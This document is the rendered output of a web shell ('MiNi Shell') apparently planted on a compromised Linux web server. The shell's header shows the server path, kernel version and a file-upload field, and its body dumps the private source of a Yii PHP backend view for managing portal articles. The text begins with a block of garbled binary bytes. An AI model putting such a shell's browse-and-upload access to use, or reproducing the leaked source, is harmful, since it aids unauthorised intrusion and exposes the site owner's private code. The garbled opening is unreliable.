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.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/backend/views/articles/

Linux eb5096292c53 5.15.0-102-generic #112-Ubuntu SMP Tue Mar 5 16:50:32 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/backend/views/articles/view.php

<?php

use yii\helpers\Html;
use yii\helpers\Url;
use yii\helpers\ArrayHelper;
use yii\helpers\HtmlPurifier;
use common\components\helpers\Image2;
use common\models\Articles;
use common\models\ArticlesHasArticlesTags;
use common\models\Portals;
use common\models\Users;
use common\models\Companies;
use common\models\CompaniesPresentationsTabs;
use common\models\Languages;
use common\models\types\Status;
use common\models\types\AcceptanceStatus;
use common\models\types\UserProfile;
use common\models\types\ContactDataType;
use common\models\PresentationsTabs;
use common\models\ArticlesChangelogs;
use yii\widgets\DetailView;
use backend\components\widgets\FlashMessages;
use common\components\widgets\Pjax;
use yii\bootstrap\Modal;

/* @var $this yii\web\View */
/* @var $model common\models\Articles */

$this->title = Yii::t('backend', 'Artykuł').': '.Html::encode($model->title).' - '.Yii::t('backend', 'Szczegóły');
$this->params['breadcrumbs'][] = ['label' => Yii::t('backend', 'Artykuły'), 'url' => ['articles/index']];
$this->params['breadcrumbs'][] = Html::encode($model->title);

$this->params['contentHeader'] = $this->title;

$modelsPhotos = $model->getPhotos()->orderBy('photo_order ASC')->all();
$modelsAttachments = $model->getAttachments()->orderBy('attachment_order ASC')->all();
//$sampleModelPortal = Portals::findOne(24);

$this->registerJs(
   '$("document").ready(function(){ 
        $(".modal-send-stats-button").on("click", function() {
            $("#modal-send-stats").modal("show");
        });
        
        $(".modal-send-word-document-button").on("click", function() {
            $("#modal-send-word-document").modal("show");
        });
        
        $("#modal-manual-assign-fb-post-button").on("click", function() {
            $("#modal-manual-assign-fb-post").modal("show");
        });
    });'
);

$modelsOperators = Users::find()
        ->select(['id_user', 'forename', 'surname'])
        ->with([
            'contactData' => function($q) {
                $q->where([
                    'required' => 1,
                    'data_type' => ContactDataType::EMAIL
                ]);
            }
        ])
        ->where([
            'profile' => [UserProfile::EDITOR, UserProfile::MARKETER, UserProfile::MODERATOR, UserProfile::OPERATOR],
            'status' => Status::ACTIVE
        ])
        ->all();
$operatorsList = [];
foreach($modelsOperators as $modelOperator) {
    $operatorsList[$modelOperator->id_user] = $modelOperator->forename.' '.$modelOperator->surname.' ('.$modelOperator->contactData[0]->data_value.')';
} 

$articleChangelog = ArticlesChangelogs::find()->select(['id_user', 'forename', 'surname'])->where(['_id' => $model->id_article])->one();

$portalsHtml = '';
if(!empty($model->portals)) {
    foreach($model->portals as $modelPortal) {
        $webProtocol = $modelPortal->getSettingsKey('or_ssl') === 1 ? 'https' : 'http';
        $url = $webProtocol.'://www.'.$modelPortal->domain.'/artykuly/szczegoly/'.$model->id_article.'_'.\frontend\components\helpers\SlugGenerator::generate($model->title); 
        $portalsHtml .= Html::a($modelPortal->domain, $url, ['target' => '_blank', 'rel' => 'nofollow noopener noreferrer']).' - '.Html::a(Yii::t('backend', 'Zgłoś do Google Search'), ['googleindexingurls/report-url', 'url' => $url, 'redirect_url' => Url::current()]);
        $portalsHtml .= '<br>';
    }
}

$languagesList = ArrayHelper::map(Languages::find()->select(['id_language', 'name'])->where(['id_language' => ['en', 'de', 'fr']])->asArray()->all(), 'id_language', 'name');
$translationsHtml = '';
$modelsTranslations = $model->getTranslations()->with('language')->indexBy('id_language')->all();
foreach($languagesList as $idLanguage => $languageName) {
    $translationsHtml .= $languageName.': '.(isset($modelsTranslations[$idLanguage]) && !$modelsTranslations[$idLanguage]->isEmpty() ? Yii::t('backend', 'tak') : Yii::t('backend', 'nie'));
    $translationsHtml .= ' - '.Html::a(Yii::t('backend', 'Przetłumacz'), ['articles/translate', 'id' => $model->id_article, 'id_language' => $idLanguage, 'redirect_url' => Url::current()]);
    $translationsHtml .= '<br>';
}

$facebookHtml = '';
$modelsRelationsWithFbPostsByIdsPortals = $model->getRelationsWithFbPosts()->indexBy('id_portal')->all();
if(!empty($model->portals)) {
    foreach($model->portals as $modelPortal) {
        $facebookHtml .= $modelPortal->domain.': ';
        if (isset($modelsRelationsWithFbPostsByIdsPortals[$modelPortal->id_portal])) {
            $facebookHtml .= Html::a(Yii::t('backend', 'Zobacz'), 'https://www.facebook.com/'.$modelsRelationsWithFbPostsByIdsPortals[$modelPortal->id_portal]->external_id, ['target' => '_blank', 'rel' => 'nofollow noopener noreferrer']).' | '.Html::a(Yii::t('backend', 'Usuń'), ['articles/delete-from-fb', 'id' => $model->id_article, 'id_portal' => $modelPortal->id_portal]);
            unset($modelsRelationsWithFbPostsByIdsPortals[$modelPortal->id_portal]);
        } else {
            $facebookHtml .= Yii::t('backend', 'brak');
            $socialMediaSettings = $modelPortal->getSettingsKey('social_media');    
            if(!empty($socialMediaSettings) && !empty($socialMediaSettings['facebook']) && !empty($socialMediaSettings['facebook']['page_id']) && !empty($socialMediaSettings['facebook']['access_token'])) {
                $facebookHtml .= ', '.Html::a(Yii::t('backend', 'Publikuj'), ['articles/publish-on-fb', 'id' => $model->id_article, 'id_portal' => $modelPortal->id_portal]);
            }
        }
        $facebookHtml .= '<br>';
    }
}
if(!empty($modelsRelationsWithFbPostsByIdsPortals)) {
    $facebookHtml .= Yii::t('backend', 'Pozostałe').': <br><hr>';
    foreach($modelsRelationsWithFbPostsByIdsPortals as $modelRelationWithFbPost) {
        $facebookHtml .= 'https://www.facebook.com/'.$modelRelationWithFbPost->external_id.': '.Html::a(Yii::t('backend', 'Zobacz'), 'https://www.facebook.com/'.$modelRelationWithFbPost->external_id, ['target' => '_blank', 'rel' => 'nofollow noopener noreferrer']).' | '.Html::a(Yii::t('backend', 'Usuń'), ['articles/delete-from-fb', 'id' => $modelRelationWithFbPost->id_article, 'id_portal' => $modelRelationWithFbPost->id_portal]);
        $facebookHtml .= '<br>';
    }
}
$facebookHtml .= '<hr>';
$facebookHtml .= Html::a(Yii::t('backend', 'Dodaj istniejący'), '#', ['id' => 'modal-manual-assign-fb-post-button']);

$portalsWithFb = [];
$modelsPortals = Portals::find()->select(['id_portal', 'settings', 'domain'])->where(['status' => Status::ACTIVE])->all();
foreach($modelsPortals as $modelPortal) {
    $socialMediaSettings = $modelPortal->getSettingsKey('social_media');    
    if(!empty($socialMediaSettings) && !empty($socialMediaSettings['facebook']) && !empty($socialMediaSettings['facebook']['page_id']) && !empty($socialMediaSettings['facebook']['access_token'])) {
        $portalsWithFb[$modelPortal->id_portal] = $modelPortal->domain; 
    }
}

?>

<?php Modal::begin(['header' => '<h4></h4>', 'id' => 'modal-send-stats', 'size' => Modal::SIZE_LARGE]); ?>
    <h1><?= Yii::t('backend', 'Artykuł').': (#'.$model->id_article.')'.Html::encode($model->title) ?> - <?= Yii::t('backend', 'Wyślij statystyki') ?></h1>
    <?= Html::beginForm(['articles/send-stats', 'id' => $model->id_article], 'get', ['role' => 'form', 'id' => 'send-stats-form']) ?>
        <div class="row">
            <div class="col-md-12 required">
                <label class="control-label" for="send-stats-id-operator">Operator</label>
                <?= Html::dropDownList('id_operator', null, $operatorsList, ['id' => 'send-stats-id-operator', 'class' => 'form-control']) ?>
            </div>            
        </div>
        <div class="clearfix"></div>
        <hr>
        <div class="form-group">
            <?= Html::submitButton(Yii::t('backend', 'Wyślij'), ['class' => 'btn btn-success']) ?>
        </div>
    <?= Html::endForm() ?>
<?php Modal::end(); ?>

<?php Modal::begin(['header' => '<h4></h4>', 'id' => 'modal-send-word-document', 'size' => Modal::SIZE_LARGE]); ?>
    <h1><?= Yii::t('backend', 'Artykuł').': (#'.$model->id_article.')'.Html::encode($model->title) ?> - <?= Yii::t('backend', 'Wyślij artykuł') ?></h1>
    <?= Html::beginForm(['articles/send-word-document', 'id' => $model->id_article], 'get', ['role' => 'form', 'id' => 'send-word-document-form']) ?>
        <div class="row">
            <div class="col-md-12 required">
                <label class="control-label" for="send-word-document-id-operator"><?= Yii::t('backend', 'Operator') ?></label>
                <?= Html::dropDownList('id_operator', null, $operatorsList, ['id' => 'send-word-document-id-operator', 'class' => 'form-control']) ?>
                <div class="help-block"></div>
            </div>            
        </div>
        <div class="row">
            <div class="col-md-12">
                <label class="control-label" for="send-word-document-annotations"><?= Yii::t('backend', 'Uwagi') ?></label>
                <?= Html::textarea('annotations', null, ['id' => 'send-word-document-annotations', 'class' => 'form-control', 'rows' => 6]) ?>
                <div class="help-block"></div>
            </div>            
        </div>
        
        <hr>
        <div class="form-group">
            <?= Html::submitButton(Yii::t('backend', 'Wyślij'), ['class' => 'btn btn-success']) ?>
        </div>
    <?= Html::endForm() ?>
<?php Modal::end(); ?>
        
<?php Modal::begin(['header' => '<h4></h4>', 'id' => 'modal-manual-assign-fb-post', 'size' => Modal::SIZE_LARGE]); ?>
    <h1><?= Yii::t('backend', 'Artykuł').': (#'.$model->id_article.')'.Html::encode($model->title) ?> - <?= Yii::t('backend', 'Artykuł na Facebooku') ?></h1>
    <?= Html::beginForm(['articles/manual-assign-fb-post'], 'post', ['role' => 'form', 'id' => 'manual-assign-fb-post-form']) ?>
        <?= Html::hiddenInput('id_article', $model->id_article) ?>
        <div class="row">
            <div class="col-md-12 required">
                <label class="control-label" for="manual-assign-fb-post-id-portal"><?= Yii::t('backend', 'Portal') ?></label>
                <?= Html::dropDownList('id_portal', null, $portalsWithFb, ['id' => 'manual-assign-fb-post-id-portal', 'class' => 'form-control']) ?>
                <div class="help-block"></div>
            </div>            
        </div>
        <div class="row">
            <div class="col-md-12">
                <label class="control-label" for="manual-assign-fb-post-url"><?= Yii::t('backend', 'Zewnętrzne ID') ?></label>
                <?= Html::textInput('external_id', null, ['id' => 'manual-assign-fb-post-url', 'class' => 'form-control']) ?>
                <div class="help-block"></div>
            </div>            
        </div>        
        <hr>
        <div class="form-group">
            <?= Html::submitButton(Yii::t('backend', 'Zapisz'), ['class' => 'btn btn-success']) ?>
        </div>
    <?= Html::endForm() ?>
<?php Modal::end(); ?> 

<?= FlashMessages::widget(); ?>
<div class="nav-tabs-custom" id="articles-view">
    <ul class="nav nav-tabs">        
        <li><a data-toggle="tab" aria-expanded="false" href="#tabPreview<?php if(!empty($modelsTranslations)): ?>_PL<?php endif; ?>"><?= Yii::t('backend', 'Podgląd'); ?><?php if(!empty($modelsTranslations)): ?> (polski)<?php endif; ?></a></li>
        <?php if(!empty($modelsTranslations)): ?>
            <?php foreach($modelsTranslations as $modelTranslation): ?>
                <li><a data-toggle="tab" aria-expanded="false" href="#tabPreview_<?= $modelTranslation->id_language ?>"><?= Yii::t('backend', 'Podgląd'); ?> (<?= $modelTranslation->language->name ?>)</a></li>
            <?php endforeach; ?>
        <?php endif; ?>
        <li class="active"><a data-toggle="tab" aria-expanded="false" href="#tabDetails"><?= Yii::t('backend', 'Szczegóły'); ?></a></li>
    </ul> 

    <div class="tab-content">        
        <div id="tabPreview<?php if(!empty($modelsTranslations)): ?>_PL<?php endif; ?>" class="tab-pane">            
            <div class="lorem" style="max-width:725px;">

                    <h3 class="title"><?= Html::encode(strip_tags($model->title), false) ?></h3>
                    <p><span class="glyphicon glyphicon-time" aria-hidden="true"></span> <strong><?= Yii::$app->formatter->asDatetime($model->publication_datetime, 'php: d-m-Y, H:i') ?></strong></p>

                    <div class="lorem">
                        <?= HtmlPurifier::process($model->content) ?>
                    </div>

                    <?php if(!empty($model->source_author) || !empty($model->source_company) || !empty($model->source_url)): ?>
                    <div class="portal-light-background p1em mt1">
                        <strong><?= Yii::t('frontend', 'Źródło') ?>:</strong> 
                        <?php if(!empty($model->source_url)): ?>
                            <a href="<?= Html::encode($model->source_url) ?>">
                        <?php endif; ?>                        
                        <?php if(!empty($model->source_company)): ?><?= Html::encode($model->source_company) ?><?php if(!empty($model->source_author)): ?> (<i><?= Html::encode($model->source_author) ?></i>)<?php endif; ?>
                        <?php elseif(!empty($model->source_author)): ?><i><?= Html::encode($model->source_author) ?></i>
                        <?php else: ?><?= Html::encode($model->source_url) ?>
                        <?php endif; ?>                            
                        <?php if(!empty($model->source_url)): ?>
                            </a>
                        <?php endif; ?> 
                        <br>
                    </div>
                    <?php endif; ?>
                    
                    <?php if(!empty($modelsPhotos)): ?>
                        <div class="strong portal-color mt1"><?= Yii::t('frontend', 'Zdjęcia') ?></div>
                        <div id="carousel" class="carousel carousel-thumbs slide" data-ride="carousel">
                            <div class="carousel-inner" role="listbox">
                                <div class="item active">
                                    <?php $mod=0; foreach($modelsPhotos as $modelPhoto): $mod++; ?>
                                        <a href="<?= Yii::$app->params['commonBaseUrl'].'/'.Image2::getUrl($modelPhoto->getImageUrl(), '800x600', Image2::OPERATION_FRAME, Articles::getAcceptedSizes()) ?>" rel="lightbox" data-gallery="article" data-footer="<?= Html::encode($modelPhoto->title) ?>">
                                            <figure class="col-xs-6 col-sm-3 text-center">
                                                <div class="view"><img src="<?= Yii::$app->params['commonBaseUrl'].'/'.Image2::getUrl($modelPhoto->getImageUrl(), '100x100', Image2::OPERATION_FRAME, Articles::getAcceptedSizes()) ?>" alt="<?= Html::encode($modelPhoto->title).' - '.Yii::t('frontend', 'zdjęcie') ?>" class="img-responsive inline"></div>
                                                <?php if(!empty($modelPhoto->title)): ?><figcaption><?= Html::encode($modelPhoto->title) ?></figcaption><?php endif; ?>
                                            </figure>
                                        </a>
                                    <?php if($mod%4==0 && count($modelsPhotos)!=$mod){ ?>
                                </div>
                                <div class="item">
                                    <?php }; ?>
                                    <?php endforeach; ?>
                                </div>
                            </div>
                            <a class="left carousel-control" href="#carousel" role="button" data-slide="prev">
                                <span class="glyphicon glyphicon-chevron-left" aria-hidden="true"></span>
                            </a>
                            <a class="right carousel-control" href="#carousel" role="button" data-slide="next">
                                <span class="glyphicon glyphicon-chevron-right" aria-hidden="true"></span>
                            </a>
                        </div> 
                    <?php endif; ?>  
                        
                    <?php if(!empty($modelsAttachments)): ?>
                        <div class="strong portal-color mt1"><?= Yii::t('frontend', 'Załączniki') ?></div>
                        <?php foreach($modelsAttachments as $modelAttachment): ?>
                            <div class="media nomargin list col-sm-6 col-xs-12">
                                <div class="media-left glyph">
                                    <span class="glyphicon glyphicon-file" aria-hidden="true"></span>
                                </div>
                                <div class="media-body">
                                    <a href="<?= $modelAttachment->getFileUrl() ?>">
                                        <p class="inline"><span class="glyphicon glyphicon-time" aria-hidden="true"></span> <strong> <?= Yii::$app->formatter->asDate($modelAttachment->created_at, 'php:d-m-Y') ?></strong></p>
                                        <h4 class="media-heading"><?= Html::encode($modelAttachment->name) ?></h4>
                                    </a>
                                </div>
                            </div>
                        <?php endforeach; ?>                        
                    <?php endif; ?>    
                    
                    
                    <?php if(!empty($model->tags)): ?>
                        <div class="nav-table tags mt05">
                            <div><?= Yii::t('frontend', 'Tagi') ?>:</div>    
                            <div>
                                <?php foreach($model->tags as $tag): ?>
                                    <a href="<?= Url::to(['wyszukiwarka/artykuly?phrase='.Html::encode(str_replace(' ','+',$tag->name))]) ?>" class="label label-default"><?= Html::encode($tag->name) ?></a>
                                <?php endforeach; ?>
                            </div>
                        </div>
                    <?php endif; ?>
                
            </div>
            
            <div class="clearfix"></div>
            
        </div>
        
        <?php if(!empty($modelsTranslations)): ?>
            <?php foreach($modelsTranslations as $modelTranslation): ?>
                <div id="tabPreview_<?= $modelTranslation->id_language ?>" class="tab-pane">            
                    <div class="lorem" style="max-width:725px;">

                        <h3 class="title"><?= Html::encode(strip_tags($modelTranslation->title), false) ?></h3>
                        <p><span class="glyphicon glyphicon-time" aria-hidden="true"></span> <strong><?= Yii::$app->formatter->asDatetime($model->publication_datetime, 'php: d-m-Y, H:i') ?></strong></p>

                        <div class="lorem">
                            <?= HtmlPurifier::process($modelTranslation->content) ?>
                        </div>

                        <?php if(!empty($model->source_author) || !empty($model->source_company) || !empty($model->source_url)): ?>
                        <div class="portal-light-background p1em mt1">
                            <strong><?= Yii::t('frontend', 'Źródło') ?>:</strong> 
                            <?php if(!empty($model->source_url)): ?>
                                <a href="<?= Html::encode($model->source_url) ?>">
                            <?php endif; ?>                        
                            <?php if(!empty($model->source_company)): ?><?= Html::encode($model->source_company) ?><?php if(!empty($model->source_author)): ?> (<i><?= Html::encode($model->source_author) ?></i>)<?php endif; ?>
                            <?php elseif(!empty($model->source_author)): ?><i><?= Html::encode($model->source_author) ?></i>
                            <?php else: ?><?= Html::encode($model->source_url) ?>
                            <?php endif; ?>                            
                            <?php if(!empty($model->source_url)): ?>
                                </a>
                            <?php endif; ?> 
                            <br>
                        </div>
                        <?php endif; ?>

                        <?php if(!empty($modelsPhotos)): ?>
                            <div class="strong portal-color mt1"><?= Yii::t('frontend', 'Zdjęcia') ?></div>
                            <div id="carousel" class="carousel carousel-thumbs slide" data-ride="carousel">
                                <div class="carousel-inner" role="listbox">
                                    <div class="item active">
                                        <?php $mod=0; foreach($modelsPhotos as $modelPhoto): $mod++; ?>
                                            <a href="<?= Yii::$app->params['commonBaseUrl'].'/'.Image2::getUrl($modelPhoto->getImageUrl(), '800x600', Image2::OPERATION_FRAME, Articles::getAcceptedSizes()) ?>" rel="lightbox" data-gallery="article" data-footer="<?= Html::encode($modelPhoto->title) ?>">
                                                <figure class="col-xs-6 col-sm-3 text-center">
                                                    <div class="view"><img src="<?= Yii::$app->params['commonBaseUrl'].'/'.Image2::getUrl($modelPhoto->getImageUrl(), '100x100', Image2::OPERATION_FRAME, Articles::getAcceptedSizes()) ?>" alt="<?= Html::encode($modelPhoto->title).' - '.Yii::t('frontend', 'zdjęcie') ?>" class="img-responsive inline"></div>
                                                    <?php if(!empty($modelPhoto->title)): ?><figcaption><?= Html::encode($modelPhoto->title) ?></figcaption><?php endif; ?>
                                                </figure>
                                            </a>
                                        <?php if($mod%4==0 && count($modelsPhotos)!=$mod){ ?>
                                    </div>
                                    <div class="item">
                                        <?php }; ?>
                                        <?php endforeach; ?>
                                    </div>
                                </div>
                                <a class="left carousel-control" href="#carousel" role="button" data-slide="prev">
                                    <span class="glyphicon glyphicon-chevron-left" aria-hidden="true"></span>
                                </a>
                                <a class="right carousel-control" href="#carousel" role="button" data-slide="next">
                                    <span class="glyphicon glyphicon-chevron-right" aria-hidden="true"></span>
                                </a>
                            </div> 
                        <?php endif; ?>  

                        <?php if(!empty($modelsAttachments)): ?>
                            <div class="strong portal-color mt1"><?= Yii::t('frontend', 'Załączniki') ?></div>
                            <?php foreach($modelsAttachments as $modelAttachment): ?>
                                <div class="media nomargin list col-sm-6 col-xs-12">
                                    <div class="media-left glyph">
                                        <span class="glyphicon glyphicon-file" aria-hidden="true"></span>
                                    </div>
                                    <div class="media-body">
                                        <a href="<?= $modelAttachment->getFileUrl() ?>">
                                            <p class="inline"><span class="glyphicon glyphicon-time" aria-hidden="true"></span> <strong> <?= Yii::$app->formatter->asDate($modelAttachment->created_at, 'php:d-m-Y') ?></strong></p>
                                            <h4 class="media-heading"><?= Html::encode($modelAttachment->name) ?></h4>
                                        </a>
                                    </div>
                                </div>
                            <?php endforeach; ?>                        
                        <?php endif; ?>    


                        <?php if(!empty($modelTranslation->tags)): ?>
                            <?php 
                                $tags = array_map('trim', explode(',', $modelTranslation->tags));
                            ?>
                            <div class="nav-table tags mt05">
                                <div><?= Yii::t('frontend', 'Tagi') ?>:</div>    
                                <div>
                                    <?php foreach($tags as $tag): ?>
                                        <a href="<?= Url::to(['wyszukiwarka/artykuly?phrase='.Html::encode(str_replace(' ','+',$tag))]) ?>" class="label label-default"><?= Html::encode($tag) ?></a>
                                    <?php endforeach; ?>
                                </div>
                            </div>
                        <?php endif; ?>

                    </div>

                    <div class="clearfix"></div>

                </div>
            <?php endforeach; ?>
        <?php endif; ?>
        
        <div id="tabDetails" class="tab-pane active">
            <p>
                <?php if(Yii::$app->user->can('modifyArticles')): ?>
                    <?= Html::a(Yii::t('backend', 'Aktualizuj'), ['update', 'id' => $model->id_article], ['class' => 'btn btn-primary']) ?>
                <?php endif; ?>
                <?php if(Yii::$app->user->can('deleteArticles')): ?>
                    <?= Html::a(Yii::t('backend', 'Usuń'), ['delete', 'id' => $model->id_article], [
                        'class' => 'btn btn-danger',
                        'data' => [
                            'confirm' => Yii::t('backend', 'Czy na pewno chcesz usunąć wybrany element?'),
                            'method' => 'get',
                        ],
                    ]) ?>
                <?php endif; ?>
                <?php if(Yii::$app->user->can('modifyArticlesStatuses')): ?>
                    <?php if($model->acceptance_status !== AcceptanceStatus::ACCEPTED): ?>
                        <?= Html::a(Yii::t('backend', 'Zaakceptuj'), ['accept', 'id' => $model->id_article], ['class' => 'btn btn-info']) ?>
                    <?php endif; ?>
                    <?php if($model->acceptance_status !== AcceptanceStatus::TO_CORRECT): ?>
                        <?= Html::a(Yii::t('backend', 'Do poprawy'), ['report-to-correct', 'id' => $model->id_article], ['class' => 'btn btn-warning']) ?>
                    <?php endif; ?>
                <?php endif; ?>
                <?php if(Yii::$app->user->can('modifyArticles')): ?>
                    <?= Html::button(Yii::t('backend', 'Wyślij statystyki'), ['class' => 'btn btn-success pull-right modal-send-stats-button', 'data' => ['url' => Url::to(['articles/send-stats', 'id' => $model->id_article])]]) ?>
                    <?= Html::button(Yii::t('backend', 'Wyślij artykuł'), ['class' => 'btn btn-success pull-right modal-send-word-document-button', 'data' => ['url' => Url::to(['articles/send-word-document', 'id' => $model->id_article])]]) ?>
                    <?= Html::a(Yii::t('backend', 'Kopiuj'), ['copy', 'id' => $model->id_article], ['class' => 'btn btn-primary']) ?>
                <?php endif; ?>
                <?= Html::a('Pobierz jako dokument Word', ['get-as-word-document', 'id' => $model->id_article], ['class' => 'btn btn-default']) ?>
            </p>
            
            <?= DetailView::widget([
                'model' => $model,
                'attributes' => [
                    'id_article',
                    [
                        'label' => Yii::t('backend', 'Operator'),
                        'value' => !empty($articleChangelog) ? $articleChangelog->forename.' '.$articleChangelog->surname : null,
                        'format' => 'html'
                    ],
                    [
                        'label' => Yii::t('backend', 'Firma'),
                        'value' => !empty($model->id_company) ? $model->company->name : null
                    ],
                    'title',
                    [
                        'label' => Yii::t('backend', 'Tagi'),
                        'value' => (!empty($model->tags)) ? implode(", ", array_map(function($item) { return $item->name; }, $model->tags)) : null
                    ],
                    [
                        'label' => $model->getAttributeLabel('image_filename'),
                        'value' => (!empty($model->image_filename)) ? Html::img($model->getImageUrl(true), ['alt' => $model->getAttributeLabel('image_filename')]) : null,
                        'format' => 'html'
                    ],
                    [
                        'label' => $model->getAttributeLabel('image_transform'),
                        'value' => !empty($model->image_transform) ? Yii::t('common-models-types', $model->image_transform) : null,
                    ],
                    'publication_datetime',
                    'source_company',
                    'source_author',
                    'source_url:url',
                    [
                        'label' => $model->getAttributeLabel('or_source_in_footer'),
                        'value' => $model->or_source_in_footer === 1 ? Yii::t('backend', 'tak') : Yii::t('backend', 'nie')
                    ],
                    [
                        'label' => $model->getAttributeLabel('or_advertisement'),
                        'value' => $model->or_advertisement === 1 ? Yii::t('backend', 'tak') : Yii::t('backend', 'nie')
                    ],
                    'annotations:ntext',
                    'sponsored_start_date',
                    'sponsored_end_date',
                    'promoted_start_date',
                    'promoted_end_date',
                    'recommended_start_date',
                    'recommended_end_date',
                    'hot_news_start_date',
                    'hot_news_end_date',
                    'url:url',
                    [
                        'label' => $model->getAttributeLabel('status'),
                        'value' => Yii::t('common-models-types', $model->status)
                    ],
                    [
                        'label' => $model->getAttributeLabel('acceptance_status'),
                        'value' => Yii::t('common-models-types', $model->acceptance_status)
                    ],
                    [
                        'label' => $model->getAttributeLabel('origin_type'),
                        'value' => Yii::t('common-models-types', $model->origin_type)
                    ],
                    [
                        'label' => Yii::t('backend', 'Portale'),
                        'value' => !empty($portalsHtml) ? $portalsHtml : null,
                        'format' => 'raw'
                    ],
                    [
                        'label' => 'Facebook',
                        'value' => !empty($facebookHtml) ? $facebookHtml : null,
                        'format' => 'raw'
                    ],
                    [
                        'label' => Yii::t('backend', 'Tłumaczenia'),
                        'value' => !empty($translationsHtml) ? $translationsHtml : null,
                        'format' => 'raw'
                    ],
                    [
                        'label' => $model->getAttributeLabel('emails'),
                        'value' => !empty($model->emails) ? implode(", ", $model->emails) : null,
                    ],
                    'views_number',
                    [
                        'label' => Yii::t('backend', 'Pośrednik'),
                        'value' => !empty($model->agency_id_company) ? $model->agent->name : null
                    ],
                    [
                        'label' => Yii::t('backend', 'Operator (pośrednictwo)'),
                        'value' => !empty($model->agency_id_operator) ? $model->operator->forename.' '.$model->operator->surname : null
                    ],
                    [
                        'label' => $model->getAttributeLabel('agency_or_paid'),
                        'value' => $model->agency_or_paid === 1 ? Yii::t('backend', 'tak') : Yii::t('backend', 'nie')
                    ],
                    'agency_order_id',
                    'agency_annotations:ntext',       
                    'created_at',
                    'updated_at',
                ],
            ]) ?>
        </div>
    </div>
</div>

Creat By MiNi SheLL
Email: jattceo@gmail.com